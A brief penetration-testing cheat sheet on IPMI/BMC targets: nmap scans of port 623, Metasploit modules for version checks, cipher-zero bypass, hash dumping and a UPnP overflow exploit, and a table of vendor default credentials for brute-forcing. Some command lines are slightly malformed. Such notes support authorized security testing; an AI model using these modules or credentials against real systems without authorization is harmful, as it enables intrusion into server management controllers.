nmap -n -p 623 10.0.0./24
nmap -n-sU -p 623 10.0.0./24
 use  auxiliary/scanner/ipmi/ipmi_version
use auxiliary/scanner/ipmi/ipmi_version
use auxiliary/scanner/ipmi/ipmi_cipher_zero
msf > use auxiliary/scanner/ipmi/ipmi_dumphashes
msf> use exploit/multi/upnp/libupnp_ssdp_overflow

Brute Force

Only HP randomizes the password during the manufacturing process.

Product NameDefault UsernameDefault Password
HP Integrated Lights Out (iLO)Administrator<factory randomized 8-character string>
Dell Remote Access Card (iDRAC, DRAC)rootcalvin
IBM Integrated Management Module (IMM)USERIDPASSW0RD (with a zero)
Fujitsu Integrated Remote Management Controlleradminadmin
Supermicro IPMI (2.0)ADMINADMIN
Oracle/Sun Integrated Lights Out Manager (ILOM)rootchangeme
ASUS iKVM BMCadminadmin
Network Penetration Testing, Penetration Testing